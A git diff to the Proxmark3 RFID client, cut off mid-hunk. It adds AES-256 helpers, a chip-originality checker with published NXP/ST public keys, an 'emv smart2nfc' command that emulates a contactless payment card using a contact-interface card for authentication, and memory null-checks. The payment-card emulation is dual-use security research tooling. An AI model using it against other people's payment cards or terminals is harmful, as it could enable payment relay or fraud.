/* asn1utils.h */ diff --git a/client/src/crypto/libpcrypto.c b/client/src/crypto/libpcrypto.c index 21f03ed79..9d506d8a8 100644 --- a/client/src/crypto/libpcrypto.c +++ b/client/src/crypto/libpcrypto.c @@ -55,13 +55,15 @@ void des_decrypt(void *out, const void *in, const void *key) { } void des_encrypt_ecb(void *out, const void *in, const int length, const void *key) { - for (int i = 0; i < length; i += 8) + for (int i = 0; i < length; i += 8) { des_encrypt((uint8_t *)out + i, (uint8_t *)in + i, key); + } } void des_decrypt_ecb(void *out, const void *in, const int length, const void *key) { - for (int i = 0; i < length; i += 8) + for (int i = 0; i < length; i += 8) { des_decrypt((uint8_t *)out + i, (uint8_t *)in + i, key); + } } void des_encrypt_cbc(void *out, const void *in, const int length, const void *key, uint8_t *iv) { @@ -128,7 +130,7 @@ void des3_decrypt(void *out, const void *in, const void *key, uint8_t keycount) int aes_encode(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *output, int length) { uint8_t iiv[16] = {0}; if (iv) { - memcpy(iiv, iv, 16); + memcpy(iiv, iv, sizeof(iiv)); } mbedtls_aes_context aes; @@ -161,6 +163,45 @@ int aes_decode(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *output, int l return PM3_SUCCESS; } +// NIST Special Publication 800-38A — Recommendation for block cipher modes of operation: methods and techniques, 2001. +int aes256_encode(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *output, int length) { + uint8_t iiv[16] = {0}; + if (iv) { + memcpy(iiv, iv, sizeof(iiv)); + } + + mbedtls_aes_context aes; + mbedtls_aes_init(&aes); + if (mbedtls_aes_setkey_enc(&aes, key, 256)) { + return 1; + } + if (mbedtls_aes_crypt_cbc(&aes, MBEDTLS_AES_ENCRYPT, length, iiv, input, output)) { + return 2; + } + mbedtls_aes_free(&aes); + return PM3_SUCCESS; +} + + +int aes256_decode(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *output, int length) { + uint8_t iiv[16] = {0}; + if (iv) { + memcpy(iiv, iv, 16); + } + + mbedtls_aes_context aes; + mbedtls_aes_init(&aes); + if (mbedtls_aes_setkey_dec(&aes, key, 256)) { + return 1; + } + if (mbedtls_aes_crypt_cbc(&aes, MBEDTLS_AES_DECRYPT, length, iiv, input, output)) { + return 2; + } + mbedtls_aes_free(&aes); + return PM3_SUCCESS; +} + + // NIST Special Publication 800-38B — Recommendation for block cipher modes of operation: The CMAC mode for authentication. // https://csrc.nist.gov/CSRC/media/Projects/Cryptographic-Standards-and-Guidelines/documents/examples/AES_CMAC.pdf int aes_cmac(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *mac, int length) { diff --git a/client/src/crypto/libpcrypto.h b/client/src/crypto/libpcrypto.h index 5d10b10ee..7b086bf33 100644 --- a/client/src/crypto/libpcrypto.h +++ b/client/src/crypto/libpcrypto.h @@ -38,6 +38,10 @@ void des3_decrypt(void *out, const void *in, const void *key, uint8_t keycount); int aes_encode(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *output, int length); int aes_decode(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *output, int length); + +int aes256_encode(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *output, int length); +int aes256_decode(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *output, int length); + int aes_cmac(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *mac, int length); int aes_cmac8(uint8_t *iv, uint8_t *key, uint8_t *input, uint8_t *mac, int length); diff --git a/client/src/crypto/originality.c b/client/src/crypto/originality.c new file mode 100644 index 000000000..e0dfe1f9c --- /dev/null +++ b/client/src/crypto/originality.c @@ -0,0 +1,245 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// originality checks with known pk +//----------------------------------------------------------------------------- + +#include "originality.h" +#include // memcpy +#include "ui.h" + +// See tools/recover_pk.py to recover Pk from UIDs and signatures +const ecdsa_publickey_ng_t manufacturer_public_keys[] = { + { + PK_MFC, MBEDTLS_ECP_DP_SECP128R1, 33, "NXP MIFARE Classic MFC1C14_x", + "044F6D3F294DEA5737F0F46FFEE88A356EED95695DD7E0C27A591E6F6F65962BAF" + }, + { + PK_MFC, MBEDTLS_ECP_DP_SECP128R1, 33, "MIFARE Classic / QL88", + "046F70AC557F5461CE5052C8E4A7838C11C7A236797E8A0730A101837C004039C2" + }, + + // ref: TagInfo + // NTAG 210/212 ? not present in recover_pk + { + PK_MFUL, MBEDTLS_ECP_DP_SECP128R1, 33, "NXP Public key", + "04A748B6A632FBEE2C0897702B33BEA1C074998E17B84ACA04FF267E5D2C91F6DC" + }, + // ref: AN11341 MIFARE Ultralight EV1 Originality Signature Validation + { + PK_MFUL, MBEDTLS_ECP_DP_SECP128R1, 33, "NXP Ultralight EV1", + "0490933BDCD6E99B4E255E3DA55389A827564E11718E017292FAF23226A96614B8" + }, + // ref: AN11350 NTAG 21x Originality Signature Validation + { + PK_MFUL, MBEDTLS_ECP_DP_SECP128R1, 33, "NXP NTAG21x (2013)", + "04494E1A386D3D3CFE3DC10E5DE68A499B1C202DB5B132393E89ED19FE5BE8BC61" + }, + + // ref: AN13452 MIFARE Ultralight AES features and hints + { + PK_MFULAES, MBEDTLS_ECP_DP_SECP192R1, 49, "NXP Ultralight AES", + "0453BF8C49B7BD9FE3207A91513B9C1D238ECAB07186B772104AB535F7D3AE63CF7C7F3DD0D169DA3E99E43C6399621A86" + }, + // ref: TagInfo + { + PK_MFULAES, MBEDTLS_ECP_DP_SECP192R1, 49, "NXP Ultralight AES (alt key)", + "04DC34DAA903F2726A6225B11C692AF6AB4396575CA12810CBBCE3F781A097B3833B50AB364A70D9C2B641A728A599AE74" + }, + + // ref: AN12998 NTAG 22x DNA (StatusDetect) - Features and hints + { + PK_MFUL, MBEDTLS_ECP_DP_SECP192R1, 49, "NXP NTAG 22x DNA", + "0485D5B9353B4FAA77581BA2AE96630C5876D6E8603308ABE9A81A0B506F52D02D04FEE6F2D365B3DEE7B9FAD9133E2976" + }, + + { + PK_MFP, MBEDTLS_ECP_DP_SECP224R1, 57, "MIFARE Plus EV1", + "044409ADC42F91A8394066BA83D872FB1D16803734E911170412DDF8BAD1A4DADFD0416291AFE1C748253925DA39A5F39A1C557FFACD34C62E" + }, + // not present in recover_pk + { + PK_MFP, MBEDTLS_ECP_DP_SECP224R1, 57, "MIFARE Plus EV2", + "04BB49AE4447E6B1B6D21C098C1538B594A11A4A1DBF3D5E673DEACDEB3CC512D1C08AFA1A2768CE20A200BACD2DC7804CD7523A0131ABF607" + }, + { + PK_MFP, MBEDTLS_ECP_DP_SECP224R1, 57, "MIFARE Plus Troika", + "040F732E0EA7DF2B38F791BF89425BF7DCDF3EE4D976669E3831F324FF15751BD52AFF1782F72FF2731EEAD5F63ABE7D126E03C856FFB942AF" + }, + + // ref: AN12343 MIFARE DESFire Light Features and Hints + // not present in recover_pk + { + PK_MFDES, MBEDTLS_ECP_DP_SECP224R1, 57, "DESFire Light", + "040E98E117AAA36457F43173DC920A8757267F44CE4EC5ADD3C54075571AEBBF7B942A9774A1D94AD02572427E5AE0A2DD36591B1FB34FCF3D" + }, + { + PK_MFDES, MBEDTLS_ECP_DP_SECP224R1, 57, "NTAG413DNA, DESFire EV1", + "04BB5D514F7050025C7D0F397310360EEC91EAF792E96FC7E0F496CB4E669D414F877B7B27901FE67C2E3B33CD39D1C797715189AC951C2ADD" + }, + { + PK_MFDES, MBEDTLS_ECP_DP_SECP224R1, 57, "NTAG424DNA, NTAG424DNATT, DESFire EV2, DESFire Light EV2", + "04B304DC4C615F5326FE9383DDEC9AA892DF3A57FA7FFB3276192BC0EAA252ED45A865E3B093A3D0DCE5BE29E92F1392CE7DE321E3E5C52B3A" + }, + // ref: AN12196 NTAG 424 DNA and NTAG 424 DNA TagTamper features and hints + { + PK_MFDES, MBEDTLS_ECP_DP_SECP224R1, 57, "NTAG424DNA, DESFire EV2, DESFire Light", + "048A9B380AF2EE1B98DC417FECC263F8449C7625CECE82D9B916C992DA209D68422B81EC20B65A66B5102A61596AF3379200599316A00A1410" + }, + { + PK_MFDES, MBEDTLS_ECP_DP_SECP224R1, 57, "DESFire EV2 XL", + "04CD5D45E50B1502F0BA4656FF37669597E7E183251150F9574CC8DA56BF01C7ABE019E29FEA48F9CE22C3EA4029A765E1BC95A89543BAD1BC" + }, + { + PK_MFDES, MBEDTLS_ECP_DP_SECP224R1, 57, "DESFire EV3", + "041DB46C145D0A36539C6544BD6D9B0AA62FF91EC48CBC6ABAE36E0089A46F0D08C8A715EA40A63313B92E90DDC1730230E0458A33276FB743" + }, + + // ref: AN5101 TruST25 digital signature for ST25TA512B, ST25TA02KB, ST25TA02KB-D and ST25TA02KB-P devices + { + PK_ST25TA, MBEDTLS_ECP_DP_SECP128R1, 33, "ST25TA TruST25 (ST) key 01?", + "041D92163650161A2548D33881C235D0FB2315C2C31A442F23C87ACF14497C0CBA" + }, + // ref: AN5660 TruST25 digital signature for ST25TN512 and ST25TN01K devices + { + PK_ST25TN, MBEDTLS_ECP_DP_SECP128R1, 33, "ST25TN TruST25 (ST) KeyID 05", + "0440004F974F7C76BC8718E523D85FA7B354A9A992BFA966CB8219242F9D274FD6" + }, + // ref: AN5104 TruST25 digital signature for ST25TV512 and ST25TV02K devices ? + // ref: AN5149 TruST25 digital signature for ST25DV02K-W1, ST25DV02K-W2 devices ? + // ref: AN5580 TruST25 digital signature for ST25TV512C and ST25TV02KC devices + { + PK_ST25TV, MBEDTLS_ECP_DP_SECP128R1, 33, "ST25TV TruST25 (ST) KeyID 04", + "04101E188A8B4CDDBC62D5BC3E0E6850F0C2730E744B79765A0E079907FBDB01BC" + }, + + { + PK_15, MBEDTLS_ECP_DP_SECP128R1, 33, "NXP ICODE DNA, ICODE SLIX2", + "048878A2A2D3EEC336B4F261A082BD71F9BE11C4E2E896648B32EFA59CEA6E59F0" + }, + { + PK_15, MBEDTLS_ECP_DP_SECP128R1, 33, "VivoKey Spark1 Public key", + "04D64BB732C0D214E7EC580736ACF847284B502C25C0F7F2FA86AACE1DADA4387A" + }, + +// FIXME: what type(s) of card exactly? MFC? MFUL? not present in recover_pk + { + PK_MIK, MBEDTLS_ECP_DP_SECP128R1, 33, "MIKRON Public key", + "04F971EDA742A4A80D32DCF6A814A707CC3DC396D35902F72929FDCD698B3468F2" + }, +}; + + +// returns index of pk if match else -1 +int originality_check_verify(uint8_t *data, uint8_t data_len, uint8_t *signature, uint8_t signature_len, pk_type_t type) { + return originality_check_verify_ex(data, data_len, signature, signature_len, type, false, false); +} + +int originality_check_verify_ex(uint8_t *data, uint8_t data_len, uint8_t *signature, uint8_t signature_len, pk_type_t type, bool reverse, bool hash) { + // test if signature is all zeros + bool is_zero = true; + for (uint8_t i = 0; i < signature_len; i++) { + if (signature[i] != 0) { + is_zero = false; + break; + } + } + + if (is_zero) { + return -1; + } + + uint8_t tmp_data[data_len]; + uint8_t tmp_signature[signature_len]; + + if (reverse) { + reverse_array_copy(data, data_len, tmp_data); + reverse_array_copy(signature, signature_len, tmp_signature); + } else { + memcpy(tmp_data, data, data_len); + memcpy(tmp_signature, signature, signature_len); + } + + for (uint8_t i = 0; i < ARRAYLEN(manufacturer_public_keys); i++) { + if ((type != PK_ALL) && (type != manufacturer_public_keys[i].type)) { + continue; + } + + int dl = 0; + uint8_t key[manufacturer_public_keys[i].keylen]; + param_gethex_to_eol(manufacturer_public_keys[i].value, 0, key, manufacturer_public_keys[i].keylen, &dl); + + if (ecdsa_signature_r_s_verify(manufacturer_public_keys[i].grp_id, key, tmp_data, data_len, tmp_signature, signature_len, hash) == 0) { + return i; + } + } + return -1; +} + +int originality_check_print(uint8_t *signature, int signature_len, int index) { + + PrintAndLogEx(NORMAL, ""); + + if ((index < 0) || (index >= ARRAYLEN(manufacturer_public_keys))) { + + PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 16)); + if (signature_len > 16) { + PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 16, 16)); + } + + if (signature_len > 32) { + PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 32, 16)); + } + + if (signature_len > 48) { + PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 48, signature_len - 48)); + } + + PrintAndLogEx(SUCCESS, " Signature verification: " _RED_("failed")); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, " IC signature public key name: " _GREEN_("%s"), manufacturer_public_keys[index].desc); + PrintAndLogEx(INFO, "IC signature public key value: %.32s", manufacturer_public_keys[index].value); + if (manufacturer_public_keys[index].keylen > 16) { + PrintAndLogEx(INFO, " : %.32s", manufacturer_public_keys[index].value + 32); + } + + if (manufacturer_public_keys[index].keylen > 32) { + PrintAndLogEx(INFO, " : %.32s", manufacturer_public_keys[index].value + 64); + } + + if (manufacturer_public_keys[index].keylen > 48) { + PrintAndLogEx(INFO, " : %.32s", manufacturer_public_keys[index].value + 96); + } + + PrintAndLogEx(INFO, " Elliptic curve parameters: %s", mbedtls_ecp_curve_info_from_grp_id(manufacturer_public_keys[index].grp_id)->name); + PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 16)); + + if (signature_len > 16) { + PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 16, 16)); + } + + if (signature_len > 32) { + PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 32, 16)); + } + + if (signature_len > 48) { + PrintAndLogEx(INFO, " : %s", sprint_hex_inrow(signature + 48, signature_len - 48)); + } + + PrintAndLogEx(SUCCESS, " Signature verification: " _GREEN_("successful")); + return PM3_SUCCESS; +} diff --git a/client/src/crypto/originality.h b/client/src/crypto/originality.h new file mode 100644 index 000000000..c6aab57fb --- /dev/null +++ b/client/src/crypto/originality.h @@ -0,0 +1,42 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// originality checks with known pk +//----------------------------------------------------------------------------- + +#ifndef ORIGINALITY_H +#define ORIGINALITY_H + +#include "common.h" +#include "commonutil.h" +#include "libpcrypto.h" +#include +#include + +typedef enum {PK_MFC, PK_MFUL, PK_MFULAES, PK_MFP, PK_MFDES, PK_ST25TA, PK_ST25TN, PK_ST25TV, PK_15, PK_MIK, PK_ALL} pk_type_t; + +typedef struct { + const pk_type_t type; + const mbedtls_ecp_group_id grp_id; + const uint8_t keylen; + const char *desc; + const char *value; +} ecdsa_publickey_ng_t; + +int originality_check_verify(uint8_t *data, uint8_t data_len, uint8_t *signature, uint8_t signature_len, pk_type_t type); +int originality_check_verify_ex(uint8_t *data, uint8_t data_len, uint8_t *signature, uint8_t signature_len, pk_type_t type, bool reverse, bool hash); +int originality_check_print(uint8_t *signature, int signature_len, int index); + +#endif /* originality.h */ diff --git a/client/src/emv/cmdemv.c b/client/src/emv/cmdemv.c index 32d73ccb1..4c38dae53 100644 --- a/client/src/emv/cmdemv.c +++ b/client/src/emv/cmdemv.c @@ -39,7 +39,6 @@ #include "crypto/libpcrypto.h" #include "iso4217.h" // currency lookup - static int CmdHelp(const char *Cmd); #define TLV_ADD(tag, value)( tlvdb_change_or_add_node(tlvRoot, tag, sizeof(value) - 1, (const unsigned char *)value) ) @@ -630,6 +629,89 @@ static int CmdEMVSelect(const char *Cmd) { return PM3_SUCCESS; } +static int CmdEMVSmartToNFC(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "emv smart2nfc", + "Executes ISO14443a payment, TX using ISO7816 interface for authentication", + "emv smart2nfc -t -> test that the attached card is working (must be VISA)\n"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("t", "test", "test that the attached card is working (must be VISA)"), + arg_str0("u", "uid", "", "optional 7 hex bytes UID"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + int uidlen = 0; + uint8_t uid[7] = {0}; + CLIGetHexWithReturn(ctx, 2, uid, &uidlen); + + if (uidlen == 0) { + PrintAndLogEx(SUCCESS, "No UID provided, using default."); + uint8_t default_uid[7] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77}; + memcpy(uid, default_uid, sizeof(default_uid)); + uidlen = sizeof(default_uid); + } else if (uidlen != 7) { + PrintAndLogEx(FAILED, "UID must be 7 bytes long."); + return PM3_EINVARG; + } + + PrintAndLogEx(SUCCESS, "UID length is %d", uidlen); + + bool testMode = arg_get_lit(ctx, 1); + bool show_apdu = true; + + if (testMode) { + PrintAndLogEx(SUCCESS, "Test mode enabled."); + } else { + PrintAndLogEx(SUCCESS, "Test mode disabled."); + } + + CLIParserFree(ctx); + + // todo for PR: check this is relevant for us. + SetAPDULogging(show_apdu); + + struct { + uint16_t flags; + uint8_t exitAfter; + uint8_t uid[7]; + uint16_t atqa; + uint8_t sak; + } PACKED payload; + + memcpy(payload.uid, uid, uidlen); + + // Set up the flags for 2K mifare sim with RATS + uint16_t flags = 0; + + FLAG_SET_UID_IN_DATA(flags, uidlen); + if (IS_FLAG_UID_IN_EMUL(flags)) { + PrintAndLogEx(WARNING, "Invalid parameter for UID"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + + FLAG_SET_MF_SIZE(flags, MIFARE_2K_MAX_BYTES); + + flags |= FLAG_ATQA_IN_DATA; + flags |= FLAG_SAK_IN_DATA; + + payload.flags = flags; + payload.exitAfter = 0x1; + payload.atqa = 0x0; + payload.sak = 0x20; + + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO14443A_EMV_SIMULATE, (uint8_t *)&payload, sizeof(payload)); + + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort simulation"); + + SetAPDULogging(false); + return PM3_SUCCESS; +} + static int CmdEMVSearch(const char *Cmd) { CLIParserContext *ctx; @@ -1352,7 +1434,7 @@ static int CmdEMVExec(const char *Cmd) { arg_lit0("j", "jload", "Load transaction parameters from `emv_defparams.json` file"), arg_lit0(NULL, "force", "Force search AID. Search AID instead of execute PPSE"), arg_rem("By default:", "Transaction type - MSD"), - arg_lit0("v", "qvsdc", "Transaction type - qVSDC or M/Chip"), + arg_lit0(NULL, "qvsdc", "Transaction type - qVSDC or M/Chip"), arg_lit0("c", "qvsdccda", "Transaction type - qVSDC or M/Chip plus CDA (SDAD generation)"), arg_lit0("x", "vsdc", "Transaction type - VSDC. For test only. Not a standard behavior"), arg_lit0("g", "acgpo", "VISA. generate AC from GPO"), @@ -2001,7 +2083,7 @@ static int CmdEMVScan(const char *Cmd) { arg_lit0("e", "extract", "Extract TLV elements and fill Application Data"), arg_lit0("j", "jload", "Load transaction parameters from `emv_defparams.json` file"), arg_rem("By default:", "Transaction type - MSD"), - arg_lit0("v", "qvsdc", "Transaction type - qVSDC or M/Chip"), + arg_lit0(NULL, "qvsdc", "Transaction type - qVSDC or M/Chip"), arg_lit0("c", "qvsdccda", "Transaction type - qVSDC or M/Chip plus CDA (SDAD generation)"), arg_lit0("x", "vsdc", "Transaction type - VSDC. For test only. Not a standard behavior"), arg_lit0("g", "acgpo", "VISA. generate AC from GPO"), @@ -2425,7 +2507,7 @@ static int CmdEMVRoca(const char *Cmd) { void *argtable[] = { arg_param_begin, - arg_lit0("t", "selftest", "Self test"), + arg_lit0(NULL, "test", "Perform self tests"), arg_lit0("a", "apdu", "Show APDU requests and responses"), arg_lit0("w", "wired", "Send data via contact (iso7816) interface. (def: Contactless interface)"), arg_param_end @@ -2899,7 +2981,7 @@ static command_t CommandTable[] = { {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("General") " -----------------------"}, {"help", CmdHelp, AlwaysAvailable, "This help"}, {"list", CmdEMVList, AlwaysAvailable, "List ISO7816 history"}, - {"test", CmdEMVTest, AlwaysAvailable, "Crypto logic selftest"}, + {"test", CmdEMVTest, AlwaysAvailable, "Perform crypto logic self tests"}, {"-----------", CmdHelp, IfPm3Iso14443a, "---------------------- " _CYAN_("Operations") " ---------------------"}, {"challenge", CmdEMVGenerateChallenge, IfPm3Iso14443, "Generate challenge"}, {"exec", CmdEMVExec, IfPm3Iso14443, "Executes EMV contactless transaction"}, @@ -2913,8 +2995,9 @@ static command_t CommandTable[] = { {"scan", CmdEMVScan, IfPm3Iso14443, "Scan EMV card and save it contents to json file for emulator"}, {"search", CmdEMVSearch, IfPm3Iso14443, "Try to select all applets from applets list and print installed applets"}, {"select", CmdEMVSelect, IfPm3Iso14443, "Select applet"}, - /* {"-----------", CmdHelp, IfPm3Iso14443a, "---------------------- " _CYAN_("simulation") " ---------------------"}, + {"smart2nfc", CmdEMVSmartToNFC, IfPm3Smartcard, "Complete transaction as a nfc smart card, using the ISO-7816 interface for auth"}, + /* {"getrng", CmdEMVGetrng, IfPm3Iso14443, "Get random number from terminal"}, {"eload", CmdEmvELoad, IfPm3Iso14443, "Load EMV tag into device"}, {"dump", CmdEmvDump, IfPm3Iso14443, "Dump EMV tag values"}, diff --git a/client/src/emv/crypto_polarssl.c b/client/src/emv/crypto_polarssl.c index 00e484bf7..f39a2d88e 100644 --- a/client/src/emv/crypto_polarssl.c +++ b/client/src/emv/crypto_polarssl.c @@ -64,6 +64,10 @@ static struct crypto_hash *crypto_hash_polarssl_open(enum crypto_algo_hash hash) return NULL; struct crypto_hash_polarssl *ch = calloc(1, sizeof(*ch)); + if (ch == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return NULL; + } mbedtls_sha1_starts(&(ch->ctx)); @@ -82,6 +86,10 @@ struct crypto_pk_polarssl { static struct crypto_pk *crypto_pk_polarssl_open_rsa(va_list vl) { struct crypto_pk_polarssl *cp = calloc(1, sizeof(*cp)); + if (cp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return NULL; + } memset(cp, 0x00, sizeof(*cp)); char *mod = va_arg(vl, char *); // N @@ -107,6 +115,10 @@ static struct crypto_pk *crypto_pk_polarssl_open_rsa(va_list vl) { static struct crypto_pk *crypto_pk_polarssl_open_priv_rsa(va_list vl) { struct crypto_pk_polarssl *cp = calloc(1, sizeof(*cp)); + if (cp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return NULL; + } memset(cp, 0x00, sizeof(*cp)); char *mod = va_arg(vl, char *); int modlen = va_arg(vl, size_t); @@ -167,6 +179,10 @@ static int myrand(void *rng_state, unsigned char *output, size_t len) { static struct crypto_pk *crypto_pk_polarssl_genkey_rsa(va_list vl) { struct crypto_pk_polarssl *cp = calloc(1, sizeof(*cp)); + if (cp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return NULL; + } memset(cp, 0x00, sizeof(*cp)); int transient = va_arg(vl, int); @@ -251,6 +267,10 @@ static unsigned char *crypto_pk_polarssl_get_parameter(const struct crypto_pk *_ case 0: *plen = mbedtls_mpi_size(&cp->ctx.N); result = calloc(1, *plen); + if (result == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return 0; + } memset(result, 0x00, *plen); res = mbedtls_mpi_write_binary(&cp->ctx.N, result, *plen); if (res < 0) { @@ -263,6 +283,10 @@ static unsigned char *crypto_pk_polarssl_get_parameter(const struct crypto_pk *_ case 1: *plen = mbedtls_mpi_size(&cp->ctx.E); result = calloc(1, *plen); + if (result == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return 0; + } memset(result, 0x00, *plen); res = mbedtls_mpi_write_binary(&cp->ctx.E, result, *plen); if (res < 0) { diff --git a/client/src/emv/dol.c b/client/src/emv/dol.c index dddefaf4a..edb4de628 100644 --- a/client/src/emv/dol.c +++ b/client/src/emv/dol.c @@ -55,6 +55,8 @@ struct tlv *dol_process(const struct tlv *tlv, const struct tlvdb *tlvdb, tlv_ta size_t res_len; if (!tlv || !(res_len = dol_calculate_len(tlv, 0))) { struct tlv *res_tlv = calloc(1, sizeof(*res_tlv)); + if (!res_tlv) + return NULL; res_tlv->tag = tag; res_tlv->len = 0; diff --git a/client/src/emv/emv_pk.c b/client/src/emv/emv_pk.c index 8df7a2067..eacd3db36 100644 --- a/client/src/emv/emv_pk.c +++ b/client/src/emv/emv_pk.c @@ -169,6 +169,10 @@ static ssize_t emv_pk_read_string(char *buf, size_t buflen, char *str, size_t si struct emv_pk *emv_pk_parse_pk(char *buf, size_t buflen) { struct emv_pk *r = calloc(1, sizeof(*r)); + if (r == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return NULL; + } ssize_t l; char temp[10]; @@ -270,6 +274,7 @@ char *emv_pk_dump_pk(const struct emv_pk *pk) { size_t outsize = 1048; // should be enough char *out = calloc(1, outsize); // should be enough if (out == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return NULL; } @@ -448,9 +453,12 @@ static struct emv_pk *emv_pk_get_ca_pk_from_file(const char *fname, return NULL; } +// not used +/* char *emv_pk_get_ca_pk_file(const char *dirname, const unsigned char *rid, unsigned char idx) { - if (!dirname) + if (dirname == NULL) { dirname = ".";//openemv_config_get_str("capk.dir", NULL); + } char *filename; int ret = asprintf(&filename, "%s/%02hhx%02hhx%02hhx%02hhx%02hhx_%02hhx.0", @@ -462,15 +470,17 @@ char *emv_pk_get_ca_pk_file(const char *dirname, const unsigned char *rid, unsig rid[4], idx); - if (ret <= 0) + if (ret <= 0) { return NULL; + } return filename; } char *emv_pk_get_ca_pk_rid_file(const char *dirname, const unsigned char *rid) { - if (!dirname) + if (dirname == NULL) { dirname = "."; //openemv_config_get_str("capk.dir", NULL); + } char *filename; int ret = asprintf(&filename, "%s/%02hhx%02hhx%02hhx%02hhx%02hhx.pks", @@ -481,11 +491,13 @@ char *emv_pk_get_ca_pk_rid_file(const char *dirname, const unsigned char *rid) { rid[3], rid[4]); - if (ret <= 0) + if (ret <= 0) { return NULL; + } return filename; } +*/ struct emv_pk *emv_pk_get_ca_pk(const unsigned char *rid, unsigned char idx) { struct emv_pk *pk = NULL; diff --git a/client/src/emv/emv_pk.h b/client/src/emv/emv_pk.h index 83628bbc2..01a3a1358 100644 --- a/client/src/emv/emv_pk.h +++ b/client/src/emv/emv_pk.h @@ -22,6 +22,7 @@ #define EMV_PK_H #include "common.h" +#include struct emv_pk { unsigned char rid[5]; @@ -46,7 +47,7 @@ void emv_pk_free(struct emv_pk *pk); char *emv_pk_dump_pk(const struct emv_pk *pk); bool emv_pk_verify(const struct emv_pk *pk); -char *emv_pk_get_ca_pk_file(const char *dirname, const unsigned char *rid, unsigned char idx); -char *emv_pk_get_ca_pk_rid_file(const char *dirname, const unsigned char *rid); +// char *emv_pk_get_ca_pk_file(const char *dirname, const unsigned char *rid, unsigned char idx); +// char *emv_pk_get_ca_pk_rid_file(const char *dirname, const unsigned char *rid); struct emv_pk *emv_pk_get_ca_pk(const unsigned char *rid, unsigned char idx); #endif diff --git a/client/src/emv/emv_pki.c b/client/src/emv/emv_pki.c index 8f430e290..7ab221637 100644 --- a/client/src/emv/emv_pki.c +++ b/client/src/emv/emv_pki.c @@ -346,6 +346,10 @@ unsigned char *emv_pki_sdatl_fill(const struct tlvdb *db, size_t *sdatl_len) { if (len) { *sdatl_len = len; unsigned char *value = calloc(1, len); + if (value == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return NULL; + } memcpy(value, buf, len); return value; } diff --git a/client/src/emv/emv_tags.c b/client/src/emv/emv_tags.c index 9536ce66a..2c5aeedc9 100644 --- a/client/src/emv/emv_tags.c +++ b/client/src/emv/emv_tags.c @@ -790,7 +790,7 @@ static void emv_tag_dump_afl(const struct tlv *tlv, const struct emv_tag *tag, i bool emv_tag_dump(const struct tlv *tlv, int level) { if (tlv == NULL) { - PrintAndLogEx(FAILED, "NULL"); + PrintAndLogEx(WARNING, "tlv is NULL"); return false; } diff --git a/client/src/emv/emvcore.c b/client/src/emv/emvcore.c index b2aa524ac..b663af706 100644 --- a/client/src/emv/emvcore.c +++ b/client/src/emv/emvcore.c @@ -484,7 +484,7 @@ int EMVSearch(Iso7816CommandChannel channel, bool ActivateField, bool LeaveField for (int i = 0; i < ARRAYLEN(AIDlist); i ++) { if (kbd_enter_pressed()) { - PrintAndLogEx(INFO, "user aborted..."); + PrintAndLogEx(WARNING, "\naborted via keyboard!"); break; } diff --git a/client/src/emv/test/cda_test.c b/client/src/emv/test/cda_test.c index eb4a031f4..d4c470b69 100644 --- a/client/src/emv/test/cda_test.c +++ b/client/src/emv/test/cda_test.c @@ -182,6 +182,10 @@ static int cda_test_raw(bool verbose) { size_t ipk_pk_len = ipk_data[13]; unsigned char *ipk_pk = calloc(1, ipk_pk_len); + if (!ipk_pk) { + free(ipk_data); + return 1; + } memcpy(ipk_pk, ipk_data + 15, ipk_data_len - 36); memcpy(ipk_pk + ipk_data_len - 36, c_issuer_rem, sizeof(c_issuer_rem)); @@ -241,6 +245,10 @@ static int cda_test_raw(bool verbose) { size_t iccpk_pk_len = iccpk_data[19]; unsigned char *iccpk_pk = calloc(1, iccpk_pk_len); + if (!iccpk_pk) { + 